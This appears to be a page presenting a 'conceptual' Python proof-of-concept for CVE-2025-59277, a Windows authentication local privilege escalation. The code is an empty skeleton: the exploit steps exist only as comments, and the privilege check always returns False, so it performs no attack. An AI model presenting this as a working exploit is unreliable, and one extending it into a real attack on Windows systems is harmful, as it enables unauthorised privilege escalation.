CVE-2025-59277：Windows身份验证方法输入验证不当导致本地权限提升漏洞

# CVE-2025-59277 - Windows Authentication Methods Local Privilege Escalation # Vulnerability: Improper validation of specified type of input # Impact: Local Privilege Escalation to SYSTEM import ctypes import sys import os # Note: This is a conceptual PoC structure for CVE-2025-59277 # The actual exploitation requires specific knowledge of the vulnerable API surface # in Windows Authentication Methods (e.g., Kerberos/NTLM authentication routines) def check_privileges(): """Check current process privileges""" try: # Get current process token information kernel32 = ctypes.windll.kernel32 TOKEN_QUERY = 0x0008 TokenElevation = 20 h_token = ctypes.c_void_p() # OpenProcessToken would be called here print(f"[*] Current user: {os.getlogin()}") print(f"[*] Current PID: {os.getpid()}") return False # Assuming low privilege initially except Exception as e: print(f"[-] Error checking privileges: {e}") return False def exploit_auth_methods(): """ Conceptual exploitation flow for CVE-2025-59277: 1. Identify the vulnerable authentication method handler 2. Craft malicious input with invalid/unspecified type 3. Send input through authentication API to trigger improper validation 4. Leverage the validation bypass to escalate privileges """ print("[*] CVE-2025-59277 - Windows Authentication Methods LPE PoC") print("[*] Attempting privilege escalation...") # Step 1: Prepare malicious input payload # The vulnerability is in improper validation of input type # in Windows Authentication Methods # Step 2: Interact with vulnerable authentication component # This would involve calling specific authentication APIs # such as those used by Kerberos/NTLM that lack proper type validation # Step 3: Trigger the vulnerability # Send crafted input that bypasses type validation checks # Step 4: Verify privilege escalation if check_privileges(): print("[+] Privilege escalation successful!") else: print("[-] Exploitation requires specific Windows version and configuration") if __name__ == "__main__": if sys.platform != 'win32': print("[-] This PoC requires Windows") sys.exit(1) exploit_auth_methods()